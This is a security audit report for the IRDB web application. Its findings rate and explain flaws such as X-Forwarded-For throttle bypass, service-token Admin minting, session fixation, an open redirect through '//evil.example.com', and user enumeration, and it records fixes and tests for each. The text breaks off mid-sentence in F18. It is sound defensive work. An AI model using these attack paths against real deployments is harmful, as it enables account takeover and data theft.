# IRDB Security Review

> Scope: full source tree at `api/src`, `ui/src`, `api/docker`, `ui/docker`,
> `Dockerfile`s, `docker-compose.yml`, `compose.scheduler.yml`, `.env.example`,
> Twig templates and Caddy configuration. Vendored dependencies were not audited
> (no `composer audit` / `npm audit` was run for this review).
>
> Severity scale: **1** = low / informational, **2** = medium, **3** = high /
> critical. Severity reflects both impact and ease of exploitation in the
> documented deployment topology.
>
> Each finding is referenced as **F<N>** for later citation.
>
> **Findings rolled up:** 5 sev-3 (5 fixed, 0 open), 27 sev-2 (27 fixed, 0 open), 42 sev-1 (39 fixed, 3 open).

---

## Severity 3 — high / critical

### F1 — Login throttle bypass via spoofed `X-Forwarded-For`
- **Files:** `ui/src/Auth/LocalLoginController.php:117-130`,
  `ui/src/Auth/LoginThrottle.php:131-137`
- **Risk:** `extractSourceIp()` reads the first hop of `X-Forwarded-For`
  without verifying the immediate peer is a configured trusted proxy.
  The throttle bucket is `(lower(username), source_ip)`, so an attacker
  rotates the `X-Forwarded-For` value per request — every attempt is a
  fresh bucket and the 5/10/15-failure ladder never trips. Defeats the
  documented brute-force protection on the local-admin password.
  Argon2id slows it but does not prevent it. The UI is also reachable
  on `:8080` directly per `docker-compose.yml`.
- **Severity: 3**
- **Status:** Fixed in `466d686`. `extractSourceIp` no longer reads
  `X-Forwarded-For`; Caddy's `trusted_proxies static private_ranges`
  is the single trust boundary and PHP consumes only `REMOTE_ADDR`.
  Regression test in `ui/tests/Integration/Auth/LocalLoginTest.php`
  (`testRotatingXForwardedForDoesNotEvadePerIpLockout`).

### F2 — Throttle bucket includes IP → IP-rotation defeats the per-user lockout
- **File:** `ui/src/Auth/LoginThrottle.php:131-137`
- **Risk:** The bucket key is `(username, source_ip)`. Even ignoring F1,
  there is no bucket that counts attempts against a *username* across
  IPs. An attacker on a distributed source (or a residential proxy
  pool) gets unlimited password attempts against the single
  `LOCAL_ADMIN_USERNAME` account because each new IP is a fresh bucket.
- **Severity: 3**
- **Status:** Fixed in `466d686`. `LoginThrottle` now evaluates a second
  per-username bucket alongside the per-(user, ip) one with a
  25 / 50 / 100 → 60 s / 300 s / 1800 s ladder; `isLocked()` trips on
  either bucket and `clear()` resets both on successful login.
  Regression tests in `ui/tests/Unit/Auth/LoginThrottleTest.php`
  (`testPerUsernameBucketLocksOutAcrossDistinctIps`,
  `testPerUsernameLadderProgresses`,
  `testLockoutSecondsRemainingReturnsLargerOfBuckets`) and
  `LocalLoginTest::testRotatingRemoteAddrEventuallyHitsPerUsernameLockout`.

### F3 — Service token + `upsertLocal` mints arbitrary Admin users with no audit, RBAC, rate-limit, or impersonation
- **Files:** `api/src/App/AppFactory.php:156-169`,
  `api/src/Application/Auth/AuthController.php:56-77`,
  `api/src/Infrastructure/Auth/UserRepository.php:119-159`
- **Risk:** The `/api/v1/auth/*` route group attaches only
  `$tokenAuth` — no `RbacMiddleware`, no `$impersonation`, no
  `$auditContext`, no `$rateLimit`. The controller's only check is
  "kind == Service". `UserRepository::upsertLocal` *unconditionally*
  assigns `Role::Admin` regardless of input. Anyone holding the service
  token (in env, masked-prefix-visible in `/admin/config`, baked into
  the UI image) can `POST /api/v1/auth/users/upsert-local
  {"username":"x"}` to create a new Admin user id and then impersonate
  it via `X-Acting-User-Id` on every other admin endpoint. A leaked
  service token is a single-step total compromise with no log trail.
- **Severity: 3**
- **Status:** Fixed in `8a94dff`. `UserRepository::upsertLocal` now
  looks up the existing local row by `is_local = 1` (not by
  `display_name`) and updates `display_name` + `last_login_at` on it;
  it only inserts when zero local rows exist. Migration
  `20260504100000_add_unique_local_user_index` adds a partial unique
  index (`WHERE is_local = 1` on SQLite; functional index over a
  `CASE` expression on MySQL) so a regression in code still fails at
  the DB. Regression tests in `api/tests/Integration/Auth/AuthEndpointsTest.php`
  (`testRotatingUsernamesNeverCreatesAdditionalLocalAdmins`,
  `testDbLayerRejectsSecondLocalAdminInsert`). The
  unaudited-write half of the finding (no `AuditEmitter` call on
  user creation / role grant) is tracked separately as F5.

### F4 — Audit emit is non-transactional with state mutation
- **Files:** `api/src/Infrastructure/Audit/DbAuditEmitter.php:37-48`;
  controller pattern e.g. `api/src/Application/Admin/ManualBlocksController.php:138-157`,
  `ReportersController.php:103-116, 198-211`,
  `PoliciesController.php:135-140, 241-246, 278-283`,
  `AllowlistController.php:126-131`
- **Risk:** Every admin write performs the mutation first, then calls
  `audit->emit(...)` *outside* a transaction. `DbAuditEmitter::emit`
  catches `Throwable`, logs `audit_emit_failed`, and returns void. Any
  DB error, lock timeout, JSON encoding failure, or process kill
  between mutation and audit insert leaves the state changed with no
  audit row. An attacker with admin privileges who can intentionally
  fail the audit insert (e.g. abusing long `details_json` under MySQL
  strict mode, or racing audit-table maintenance) mutates state without
  being audited. Integrity of the audit log depends entirely on a
  best-effort second write.
- **Severity: 3**
- **Status:** Fixed in `8d948ae`. `AuditEmitter` now exposes two
  methods with explicit semantics: `emit()` (best-effort, swallows
  infra errors — used only by `ReportController` and
  `BlocklistController`, the high-volume public paths whose emit is
  toggleable per `app_settings`) and `emitOrThrow()` (strict, propagates).
  Every admin write site (`ManualBlocksController`, `AllowlistController`,
  `ReportersController`, `ConsumersController`, `CategoriesController`,
  `PoliciesController`, `TokensController`, `AppSettingsController`,
  `MaintenanceController.purge`/`seedDemo`, `JobsAdminController.trigger`,
  and `AuthController.upsertOidc`/`upsertLocal`) now wraps mutation +
  `emitOrThrow()` in `Connection::transactional()`, so any audit insert
  failure rolls back the originating mutation. Cache invalidations move
  to post-commit. `DbAuditEmitter` switches to `JSON_THROW_ON_ERROR`
  so payload encoding failures become typed exceptions instead of a
  silent `false`. Regression tests in
  `api/tests/Integration/Audit/AuditRollbackTest.php` drop the
  `audit_log` table to force every emit path to fail and assert the
  target tables (`manual_blocks`, `reporters`, `allowlist`,
  `categories`, `users`) see zero rows added.

### F5 — User creation and role assignment emit no audit
- **Files:** `api/src/Application/Auth/AuthController.php:29-77`
  (`upsertOidc`, `upsertLocal`)
- **Risk:** `/api/v1/auth/users/upsert-oidc` and `upsert-local` create or
  update users including assigning roles via OIDC group mapping or the
  local-admin bootstrap, and emit no `AuditEmitter` calls. Privilege
  grants and account creation — primary SOC/ISO 27001 events — are
  invisible in the audit log. Combined with F3, an attacker who
  compromises the service token can grant themselves Admin without
  trace.
- **Severity: 3**
- **Status:** Fixed in `8d948ae` alongside F4. `AuthController` now
  wraps each upsert in `Connection::transactional()` and emits
  `user.created` (new account, source `oidc` or `local`, with role and
  groups context) on the bootstrap path, plus `user.role_changed` when
  a subsequent OIDC login resolves to a different role. The auth route
  group now attaches `AuditContextMiddleware` so the rows carry source
  IP and request id. Regression tests in
  `api/tests/Integration/Auth/AuthEndpointsTest.php`
  (`testFirstUpsertLocalEmitsUserCreatedAudit`,
  `testRotatingUsernamesEmitsOnlyOneUserCreatedAudit`,
  `testNewOidcLoginEmitsUserCreatedAudit`,
  `testOidcRoleDriftEmitsRoleChangedAudit`) and
  `AuditRollbackTest::testUpsertLocalRollsBackWhenAuditInsertFails`.

---

## Severity 2 — medium

### F6 — Throttle store is per-process in memory; lost on worker recycle
- **File:** `ui/src/Auth/LoginThrottle.php:38, 43-48, 92`
- **Risk:** Counters live only in the FrankenPHP worker process. Worker
  recycling on memory pressure or fixed request counts wipes counters
  and gives the attacker fresh attempts. Multi-worker FrankenPHP
  multiplies allowed attempts by N silently. No persistent (DB / Redis)
  backing.
- **Severity: 2**
- **Status:** Fixed in `d119b72`. State moved behind a `ThrottleStore`
  abstraction; production wires `FileThrottleStore`, a flock-protected
  JSON file under `sys_get_temp_dir()` (overridable via
  `LOGIN_THROTTLE_PATH`). All FrankenPHP workers in one container share
  the same file: counters survive worker recycle and a single counter
  is incremented across the worker pool. Mutations take an exclusive
  lock on a sibling `.lock` file and write through a temp file + rename,
  so readers always see a consistent snapshot. Stale entries
  (`lockedUntil + 24 h < now`) are GC'd opportunistically. The file
  lives on the container's ephemeral writable layer, so a container
  restart still clears it — preserving the documented operator-unlock
  path. Multi-replica deployments still require sticky-LB mode (SPEC's
  documented topology). Regression tests in
  `ui/tests/Unit/Auth/FileThrottleStoreTest.php`
  (`testFailureRecordedOnOneInstanceIsVisibleToAnother`,
  `testClearOnOneInstanceIsVisibleToAnother`,
  `testCorruptFileIsTreatedAsEmpty`,
  `testStaleEntriesGarbageCollected`,
  `testWritesGoThroughTempPlusRename`,
  `testResetUnlinksFile`) and
  `LocalLoginTest::testFailuresArePersistedToConfiguredFilePath`.

### F7 — Username enumeration via response timing on local login
- **File:** `ui/src/Auth/LocalLoginController.php:77-78`
- **Risk:** `password_verify` only runs after `usernameOk` evaluates
  truthy, so the request takes Argon2id time (tens to hundreds of ms)
  on a username match versus microseconds on a miss. An unauthenticated
  attacker enumerates the configured `LOCAL_ADMIN_USERNAME` value.
  Mitigation: always run a dummy `password_verify` against a fixed
  hash regardless of username match.
- **Severity: 2**
- **Status:** Fixed in `84238e6`. `LocalLoginController` now precomputes a
  dummy Argon2id hash once per worker in its constructor and routes
  `password_verify` to either the configured admin hash (when set) or the
  dummy hash (when unset). The verify result is ANDed with the username
  check and the "configured" check, so a username miss still fails closed
  but consumes Argon2id time. Also closes the related timing channel where
  an empty `LOCAL_ADMIN_PASSWORD_HASH` previously skipped `password_verify`
  entirely. Regression tests in
  `ui/tests/Integration/Auth/LocalLoginTest.php`
  (`testWrongUsernameTriggersPasswordVerify`,
  `testUnconfiguredLocalPasswordHashStillRunsPasswordVerify`) assert the
  failure path takes more than 10 ms — well above any path that would
  skip an Argon2id compare.

### F8 — `headers_sent()` short-circuit silently skips session regeneration / clear
- **Files:** `ui/src/Auth/SessionManager.php:43-53, 67-75, 101-107`
- **Risk:** Both `regenerateId()` and `clear()` are gated on
  `!headers_sent()`. If headers are sent before middleware (warning
  output, accidental whitespace, error rendering), login does not
  rotate the session id. An attacker who pre-seeded a victim's
  `irdb_session` cookie can ride that session post-login (classic
  session fixation). Should fail-closed instead of silently
  no-op'ing.
- **Severity: 2**
- **Status:** Fixed in `f811b25`. `SessionManager` now distinguishes a
  CLI/test mode (auto-detected from `PHP_SAPI === 'cli'`, overridable
  via constructor) from HTTP mode. In HTTP, both `regenerateId()` and
  `clear()` throw `\RuntimeException` when `headers_sent()` is true,
  surfaced by Slim as a 500 so the operator chases the upstream output
  bug rather than silently leaving the pre-auth cookie valid. Under CLI
  (PHPUnit), a manual rotation path resets `session_id()` and preserves
  `$_SESSION`, matching `session_regenerate_id(true)` semantics for
  tests. The `headers_sent()` call is also routed through an injectable
  closure so unit tests can drive the HTTP fail-closed path without a
  real web server. Regression tests in
  `ui/tests/Unit/Auth/SessionManagerTest.php`
  (`testRegenerateIdThrowsInHttpModeWhenHeadersSent`,
  `testClearThrowsInHttpModeWhenHeadersSent`,
  `testCliFallbackRotatesIdAndPreservesSession`).

### F9 — OIDC session id not regenerated *before* the handshake starts
- **Files:** `ui/src/Auth/OidcController.php:39-47, 89`,
  `ui/src/Auth/JumbojettOidcAuthenticator.php:33-94`
- **Risk:** `state`, `nonce`, and `code_verifier` are stashed in
  `$_SESSION` during `/login/oidc`. Regeneration only happens after
  a successful `upsert` (line 89). If an attacker can fixate a session
  id in a victim's browser before `/login/oidc` is hit (hostile
  network, sibling subdomain, or the F8 race), the attacker shares the
  same `$_SESSION` and can later hijack the session. Standard
  hardening regenerates on `initiate()` *before* redirecting to the
  IdP.
- **Severity: 2**
- **Status:** Fixed in `2a57589`. `OidcController::initiate` now calls
  `SessionManager::regenerateId()` at the top, before delegating to the
  authenticator that stashes `state`, `nonce`, and the PKCE
  `code_verifier` in `$_SESSION`. The OIDC handshake state is therefore
  bound only to a freshly rotated session id; any pre-fixated cookie is
  invalidated at this moment. The post-callback rotation is unchanged
  (defeats anything carrying over). Per F8, the rotation now also
  fail-closes if response headers were already sent, so it cannot
  silently no-op. Regression test in
  `ui/tests/Integration/Auth/OidcFlowTest.php`
  (`testInitiateRotatesSessionIdBeforeAuthenticate`) captures
  `session_id()` inside a fake authenticator and asserts it differs
  from the pre-request id.

### F10 — Open redirect via attacker-controllable `next` parameter
- **Files:** `ui/src/Auth/SessionManager.php:139-150` (`setNext` /
  `consumeNext`), used by `ui/src/Auth/OidcController.php:98-100`,
  `ui/src/Auth/LocalLoginController.php:106-108`,
  `ui/src/Controllers/AllowlistController.php:126-128`,
  `ui/src/Controllers/ManualBlocksController.php:168-170`
- **Risk:** After a delete action, `next` from the form body is sent
  verbatim as `Location:` with no validation that the value starts with
  a single `/` (not `//evil.example.com`) and no scheme allowlist. An
  authenticated operator/admin tricked into submitting a forged form
  (or any reflected XSS that auto-submits with the legitimate CSRF
  token) gets a 303 redirect to an arbitrary host from the trusted
  IRDB origin — high-quality phishing pivot. The login-flow
  `consumeNext()` path is currently safe (`AuthRequiredMiddleware`
  controls the source), but `setNext()` itself is unrestricted.
- **Severity: 2**
- **Status:** Fixed in `55156c5`. `SessionManager::isSafeRedirectPath()`
  accepts only same-origin paths (must start with `/`; second char must
  not be `/` or `\`; no control chars including CR/LF/NUL).
  `SessionManager::safeNextOrDefault()` returns the candidate iff safe,
  else a hard-coded literal default. `setNext()` and `consumeNext()` also
  drop unsafe values silently as defence-in-depth so any future caller
  is safe even without the helper. `AllowlistController::delete` and
  `ManualBlocksController::delete` now route the `next` form field
  through `safeNextOrDefault`, so a malicious value falls back to the
  resource list rather than redirecting the operator to the attacker
  URL. Regression tests: `SessionManagerTest` data-provider truth table
  for `isSafeRedirectPath` plus `testSetNextDropsUnsafeValueSilently`,
  `testConsumeNextRejectsPreviouslyStoredUnsafeValue`,
  `testSafeNextOrDefaultUsesDefaultOnUnsafeOrMissing`; integration
  tests in `CrudPagesTest`
  (`testManualBlockDeleteRejectsOpenRedirectInNext`,
  `testManualBlockDeleteHonoursSafeNext`,
  `testAllowlistDeleteRejectsOpenRedirectInNext`).

### F11 — Service-token impersonation accepts any user id with no allow-list, no active-status gate
- **Files:** `api/src/Infrastructure/Http/Middleware/ImpersonationMiddleware.php:38-77`,
  `api/src/Infrastructure/Auth/UserRepository.php:28-37`
- **Risk:** Service-token holders can impersonate any user id by
  setting `X-Acting-User-Id`. There is no allow-list, no
  "disabled"/"locked" check (no such column on `users`), and no
  separate audit signal. Combined with F3, a leaked service token is
  unconstrained Admin.
- **Severity: 2**
- **Status:** Fixed. Three layers:
  1. **Active-status gate.** Migration
     `20260504110000_add_disabled_at_to_users` adds nullable
     `disabled_at` to `users`; `User::isDisabled()` exposes the
     predicate; `ImpersonationMiddleware` returns `403 user_disabled`
     for any disabled target (mirroring the unknown-user 403 so
     attackers cannot use the response to distinguish "missing" from
     "disabled"). `AuthController::upsertOidc` and `upsertLocal`
     short-circuit with 403 before recomputing role on a disabled row,
     so a disabled user cannot drift their role via OIDC group
     membership while disabled.
  2. **Distinct audit signal.** Migration
     `20260504110001_add_actor_via_to_audit_log` adds `actor_via`
     (`oidc|local|admin-token|service|reporter|consumer|system`).
     `ImpersonationMiddleware` threads the resolved user's
     `is_local` flag onto `AuthenticatedPrincipal`, and
     `AuditContextMiddleware` derives `actor_via` from it — so
     audit rows split impersonated-OIDC from impersonated-local
     without joining `users`. `/admin/audit-log?actor_via=local`
     surfaces only local-admin actions for review.
  3. **Admin user-CRUD.** New `UsersController` exposes
     `GET /api/v1/admin/users`, `GET /{id}`, and
     `PATCH /{id}` (body `{disabled: bool}`). PATCH wraps the
     state change + `user.disabled` / `user.enabled` audit emit in
     `Connection::transactional()` per F4. Refused with 409 on
     self-disable (`cannot_disable_self`) or on disabling the
     local-admin row (`cannot_disable_local_admin`) — the local
     admin is the documented break-glass path; operators wanting
     to lock it disable it via `LOCAL_ADMIN_PASSWORD_HASH` in the
     UI's env. UI page at `/app/users` (admin-only sidebar entry).
     OIDC and local-login controllers route the upstream
     `403 user_disabled` to `/no-access` (OIDC) or to a generic
     "invalid credentials" flash (local — probe-resistant).
  Regression tests: `api/tests/Integration/Auth/DisabledUserTest.php`
  covers (a) impersonation 403 on disabled rows,
  (b) `upsertOidc` rejection without role recompute or audit drift,
  (c) `upsertLocal` rejection on disabled local admin,
  (d) `actor_via` derivation for impersonated local vs OIDC
  vs admin-token paths,
  (e) admin disable + audit emit + idempotency,
  (f) self-disable / local-admin-disable 409 guards,
  (g) `/audit-log?actor_via=local` filter.
  The remaining "allow-list" framing of F11 is by-design per SPEC §8:
  any user the UI BFF has upserted is impersonatable. The disabled
  flag is the operator's lever to revoke that consent.

### F12 — Local-admin lookup matches on `display_name` without uniqueness guarantee
- **Files:** `api/src/Infrastructure/Auth/UserRepository.php:50-60, 119-160`
- **Risk:** `findLocalByUsername()` matches on `display_name` AND
  `is_local=1`, with no DB-enforced uniqueness on the pair.
  `LIMIT 1` silently picks one row. A hostile/compromised IdP that
  pushes an OIDC user with the same `display_name` (and a later data
  fix flipping `is_local`) could be matched on local-admin login,
  binding the local-admin password to the wrong identity.
- **Severity: 2**
- **Status:** Fixed in `4006743`. The display-name match was already
  removed by the F3 fix (`8a94dff`) — `findLocal()` looks up by
  `is_local = 1` and the partial unique index `uniq_users_one_local`
  enforces "at most one local row" at the DB. F12's residual concern
  (a row reaching the state `is_local=1 AND subject IS NOT NULL` via
  direct DB tampering) is now addressed in two layers:
  1. **Application:** `UserRepository::findLocal()` adds
     `AND subject IS NULL` to the query. A row with `is_local=1` but a
     non-null OIDC subject is structurally not a local-admin row and
     will not bind the local-admin password — `upsertLocal` then
     trips the unique-index INSERT, surfacing the tamper as a 500.
  2. **DB:** Migration
     `20260505100000_add_users_local_subject_invariant` enforces the
     same predicate at the storage layer — MySQL via a `CHECK
     (NOT (is_local = 1 AND subject IS NOT NULL))` constraint, SQLite
     via paired `BEFORE INSERT` / `BEFORE UPDATE` triggers that
     `RAISE(ABORT)` on the violating predicate. So a "data fix"
     script attempting `UPDATE users SET is_local = 1 WHERE id = …`
     against an OIDC row fails at the DB before any login can bind.
  Regression tests in `api/tests/Integration/Auth/AuthEndpointsTest.php`
  (`testDbLayerRejectsInsertingLocalRowWithNonNullSubject`,
  `testDbLayerRejectsFlippingIsLocalOnOidcRow`,
  `testFindLocalIgnoresHijackedRowEvenIfDbConstraintIsBypassed`).

### F13 — Service token rotation leaves the old hash valid indefinitely
- **File:** `api/src/Infrastructure/Auth/ServiceTokenBootstrap.php:65-89`
- **Risk:** When the bootstrap detects a different service-kind row
  (rotation in progress), it inserts the new row but does not revoke
  the old. Both tokens remain valid. With no operator tooling for
  service-token revocation, rotated tokens may live forever in
  `api_tokens`. If an old token leaks (config snapshot, image layer)
  the attacker authenticates indefinitely.
- **Severity: 2**
- **Status:** Fixed in `40be6c1`. `ServiceTokenBootstrap` now wraps
  revoke-old + insert-new in `Connection::transactional()` (per F4): when the
  configured `UI_SERVICE_TOKEN` does not match any current row but
  one or more service-kind rows are currently active, every active
  service-kind row is `revoked_at = now()`'d before the new row is
  inserted. The revokes and the create roll back together if any
  step fails — there is never an observable window with no service
  token. New repository method
  `TokenRepository::findActiveServiceTokens()` enumerates the rows
  to revoke. The bootstrap also refuses to silently re-enable a
  hash that is already present-but-revoked (operator must issue a
  fresh value rather than rolling env back). Each revoke emits a
  `token.revoked` audit row with
  `details_json.reason = "rotated_by_bootstrap"` and the create
  emits a `token.created` row carrying `source: "bootstrap"` and a
  `rotated_from` array of revoked prefixes — so SOC tooling can
  attribute the rotation and split automatic from operator-initiated
  revocations. Both audit rows are attributed to `actor_kind=system`
  via `AuditContext::system()`. Regression tests in
  `api/tests/Integration/Auth/ServiceTokenBootstrapTest.php`
  (`testBootstrapWithDifferentTokenRevokesPreviousAndInsertsNewRow`,
  `testBootstrapRotationRevokesEveryPreviouslyActiveServiceToken`,
  `testBootstrapRotationEmitsRevokedAndCreatedAuditRows`,
  `testBootstrapRefusesToReEnablePreviouslyRevokedToken`).

### F14 — `/api/v1/auth/*` has no rate limit
- **File:** `api/src/App/AppFactory.php:156-169`
- **Risk:** The auth group has only `$tokenAuth`. `RateLimitMiddleware`
  is not attached. `getUser/{id}` allows enumeration (F17), and
  combined with F3 a leaked service token gets unlimited writes.
- **Severity: 2**
- **Status:** Fixed in `9849779`. The `/api/v1/auth/*` route group now
  attaches `RateLimitMiddleware` alongside `TokenAuthenticationMiddleware` and
  `AuditContextMiddleware`. Per-token-id token-bucket — same limiter
  the public group uses — caps a burst at `API_RATE_LIMIT_PER_SECOND
  × 2` (default 60/s, capacity 120) per service token. The bucket
  bails out gracefully when no principal is present (auth failure)
  so it doesn't stack with `TokenAuthenticationMiddleware`'s 401
  path. Caps the enumeration speed of `GET /users/{id}` (a residual
  exposure tracked by F17), and bounds amplification of any
  service-token-leak abuse against `upsert-local` / `upsert-oidc`.
  Regression tests in
  `api/tests/Integration/Public/RateLimitTest.php`
  (`testAuthGetUserRouteIsRateLimited`,
  `testAuthUpsertLocalRouteIsRateLimited`) burst the auth endpoints
  past capacity under a tight FixedClock+limiter and assert the
  expected 429 ceiling.

### F15 — `MaintenanceController::seedDemo` requires no confirmation token
- **File:** `api/src/Application/Admin/MaintenanceController.php:279-288`
- **Risk:** Asymmetric with `purge` which gates on `confirm: "PURGE"`.
  Any actor with admin role (or a compromised service token via F3)
  can issue a single POST and load thousands of synthetic
  reports/IPs/blocks into a production database. The 409
  "already_seeded" check is keyed only on a literal demo-named
  reporter, so after a partial purge the seed will re-fire. Also a
  cheap repeated-write DoS.
- **Severity: 2**
- **Status:** Fixed in `5c15fc5`. `MaintenanceController::seedDemo`
  now requires `confirm: "SEED"` in the request body and returns
  `400 validation_failed` otherwise — symmetric with `purge`'s
  `"PURGE"` gate. The check runs before the 409 already-seeded
  shortcut and before any DB write, so a drive-by POST or repeated
  cost-imposition burst is rejected without touching `reporters`.
  The OpenAPI spec (`api/public/openapi.yaml` and `api/openapi.php`)
  documents the new request body and the 400 response. The UI BFF
  is updated end-to-end: `AdminClient::seedDemo` sends
  `confirm: "SEED"` (`ui/src/ApiClient/AdminClient.php`),
  `SettingsController::seedDemo` requires the user to type `SEED`
  in the form and surfaces a flash error otherwise
  (`ui/src/Controllers/SettingsController.php`), and the seed-demo
  modal mirrors the purge modal's typed-confirm UX in
  `ui/resources/views/pages/settings/index.twig`. Regression test
  `testSeedDemoRequiresLiteralConfirmString` in
  `api/tests/Integration/Admin/MaintenanceControllerTest.php`
  asserts both no-body and wrong-literal POSTs return 400 and that
  no `reporters`/`reports` rows landed; the existing
  `testSeedDemoPopulatesDataAndIsIdempotent` /
  `testSeedDemoForbiddenForViewer` cases were updated to send the
  new body.

### F16 — Admin-role API tokens are not bound to a `user_id` → privilege persists after offboarding
- **Files:** `api/src/Application/Admin/TokensController.php:142-155, 166-177`,
  `api/src/Infrastructure/Http/Middleware/TokenAuthenticationMiddleware.php:67`,
  `api/src/Infrastructure/Http/Middleware/RbacMiddleware.php:51-59`
- **Risk:** When an Admin user creates an admin-kind token, the
  `TokenRecord` carries `role` but no `userId`. If the user issuing
  the token is later demoted/disabled/removed, the token continues
  to grant Admin until manually revoked. There is no UI/API to list
  tokens by issuer.
- **Severity: 2**
- **Status:** Fixed in `947ab89`. Three layers close the gap:

  1. **Schema.** Migration
     `20260505110000_add_user_id_to_api_tokens` adds nullable
     `api_tokens.user_id`. On MySQL it carries an FK to `users(id)`
     with `ON DELETE CASCADE` — a hard-deleted user takes the tokens
     they issued with them. SET NULL was rejected because reverting
     to a NULL `user_id` would let the token re-enter the
     grandfathered legacy path. SQLite cannot add an FK via ALTER
     TABLE, so deletion-time enforcement on that driver falls back
     to the application layer (issuer-row lookup returns null →
     401). The system has no API-level user-deletion path; both
     drivers behave identically for the actual offboarding flows
     (disable + role demote).
  2. **Binding.** `TokensController::create` writes the acting
     user's id into the new column for `kind=admin` tokens only.
     Reporter / consumer / service tokens stay user-less — they are
     device credentials, not delegated user privilege.
     `TokenRecord` carries the new `userId` field; the create
     response and list response surface `user_id`, the list also
     denormalises a `user_label` (display name, email, or `user#N`).
     Admin tokens minted via `bin/console tokens:create` carry NULL
     and are grandfathered — operators rotate those after deploy if
     they want strict binding.
  3. **Enforcement.** `TokenAuthenticationMiddleware` injects
     `UserRepository`; for any admin-kind token with non-null
     `user_id` it loads the issuer and refuses the token (401, same
     shape as every other auth failure) if the issuer row is
     missing, has `disabled_at` set, or has a current role that
     doesn't satisfy the token's bound role
     (`role.satisfies(token.role)`). NULL `user_id` skips the
     check, preserving the grandfathered path. ImpersonationMiddleware
     still validates the impersonated user separately (F11), so a
     service token that claims to be a disabled user is still 403'd
     before the role check fires.

  UI: `/app/tokens` adds an Issuer column showing `user_label` (or
  `user#N` for deleted issuers, or `—` for legacy / console-issued
  tokens). OpenAPI yaml + `openapi.php` document the new fields.

  Regression tests in
  `api/tests/Integration/Auth/TokenIssuerBindingTest.php`:
  `testAdminTokenCreatedViaApiIsBoundToActingAdmin` (binding +
  audit row attribution),
  `testReporterTokenCreatedViaApiIsNotBoundToUser` (admin-only
  binding), `testListSurfacesIssuerLabel` (denormalised label),
  `testBoundAdminTokenAuthenticatesWhileIssuerActive` (happy path),
  `testBoundAdminTokenIsRejectedAfterIssuerDisabled` (F11
  intersect),
  `testBoundAdminTokenIsRejectedAfterIssuerDemotedBelowTokenRole`
  (Admin-token-after-Viewer-demote → 401),
  `testBoundAdminTokenStillAuthenticatesIfIssuerHasMatchingRole`
  (Viewer token held by Admin issuer still works),
  `testBoundAdminTokenIsRejectedIfIssuerRowIsGone` (deletion
  fallback on SQLite),
  `testLegacyUnboundAdminTokenStillAuthenticates` (grandfathering).

### F17 — `GET /api/v1/auth/users/{id}` enables enumeration of internal user records
- **File:** `api/src/Application/Auth/AuthController.php:79-104`
- **Risk:** A service-token holder can iterate `/users/1`,
  `/users/2`, ... and exfiltrate every user's `email`, `display_name`,
  `role`, `is_local`. No rate limit (F14), no audit (F5), no
  defensive sleep.
- **Severity: 2**
- **Status:** Fixed by F14 (rate limit) and read-side audit added in
  `57ab1ba`.

  1. **Rate limit.** F14 already attaches `RateLimitMiddleware` to
     the `/api/v1/auth/*` route group, so a leaked service token is
     capped at `API_RATE_LIMIT_PER_SECOND × 2` (default 60/s,
     capacity 120) per token id — both `getUser/{id}` enumeration and
     `upsert-{oidc,local}` abuse are bucketed on the same limiter.

  2. **Read-side audit.** New `AuditAction::USER_FETCHED` constant
     (`user.fetched`). `AuthController::getUser` now emits a
     best-effort audit row on **both** the 200 (`outcome: found`,
     `target_label = email|display_name`) and 404
     (`outcome: not_found`, `target_label = null`) paths. The 400
     malformed-id path stays silent — that's a protocol error, not a
     valid-shape probe. `emit()` (best-effort) is used so a DB hiccup
     on the audit insert does not 500 a UI session refresh; volume is
     bounded by the F14 rate limit anyway. This is the only read
     action recorded in `audit_log` — every other action recorded
     there is state-changing per SPEC §4. The exception is documented
     inline at the constant.

  3. **No defensive sleep.** Skipped intentionally. The 200/404 bodies
     differ structurally (`{"user_id": ...}` vs
     `{"error":"not_found"}`), so existence is trivially detectable
     from the response — timing is not the leak vector here. Adding
     `usleep` would only impose latency on legitimate UI session
     refreshes without strengthening the actual mitigation surface.

  Regression tests in
  `api/tests/Integration/Auth/AuthEndpointsTest.php`:
  `testGetUserFoundEmitsUserFetchedAudit` (200 path emits row with
  `outcome=found` and email label),
  `testGetUserNotFoundEmitsUserFetchedAudit` (404 path emits row with
  `outcome=not_found` and null label),
  `testGetUserInvalidIdDoesNotEmitAudit` (malformed id stays silent),
  `testEnumerationProducesOneAuditRowPerProbe` (a 5-id sweep produces
  exactly 5 `user.fetched` rows — the SOC detection signal).
  OpenAPI yaml + `openapi.php` document the audit emission and the
  404 response.

### F18 — Containers run as root (no `USER` directive)
- **Files:** `api/Dockerfile:42-43`, `ui/Dockerfile:46-47`
- **Risk:** Neither Dockerfile sets a `USER`. PHP/FrankenPHP/Caddy run
  as UID 0. Any RCE in PHP code, dependency CVE, or FrankenPHP/Caddy
  CVE gets root inside the container. No `--chown` on `COPY`. The
  `irdb-data:/data` volume is owned by root.
- **Severity: 2**
- **Status:** Fixed in `33179d8`. Both `api/Dockerfile` and
  `ui/Dockerfile` now create an `app` system user (UID/GID 1000) and
  switch to it via `USER app` after the last root-required step
  (`apk`, `install-php-extensions`, `chmod +x`, `mkdir`/`chown`).
  FrankenPHP/Caddy bind to unprivileged ports (8080/8081) — no
  `setcap` is needed.

  Layout choices:
  - `/app` stays **root-owned and world-readable**. The runtime needs
    only read access; leaving source root-owned is a partial mitigation
    for F20 (an attacker landing RCE under `app` cannot overwrite
    `/app/vendor/**` or `/app/public/index.php` to persist). Tightening
    the read-only stance further (e.g. mounting `/app` read-only at
    runtime) is tracked separately by F20.
  - `/data` is **app-owned** so phinx migrations, the
    `auth:bootstrap-service-token` console call, and runtime SQLite
    writes succeed without root. Newly-created Docker named volumes
    (`irdb-data`) inherit this ownership on first creation.
  - `/home/app/.config` and `/home/app/.local/share` are pre-created
    and app-owned; `XDG_CONFIG_HOME` / `XDG_DATA_HOME` point at them
    so Caddy's autosaved-config and TLS-cache state has somewhere to
    land without falling back to `/root`.
  - PHP sessions in the UI continue to use the default `/tmp` save
    path (world-writable), so no extra mount is required.

  **Upgrade note for operators.** Existing volumes from pre-F18
  deployments were created when `/data` was root-owned; after pulling
  this image the new uid=1000 process cannot write to them and phinx
  fails with `attempt to write a readonly database`. Recover with
  either of:
  ```
  # one-shot chown (preserves data)
  docker run --rm -u 0 -v irdb_irdb-data:/data alpine chown -R 1000:1000 /data
  # or, if the SQLite data is disposable
  docker compose down -v && docker compose up -d
  ```
  Documented in the upgrade section of the deployment notes.

  Verification: rebuilt both images and confirmed
  `docker compose exec api id` / `exec ui id` report `uid=1000(app)`,
  the api healthz returns 200, all 429 integration tests still pass
  under the new user, and the UI Caddy log shows
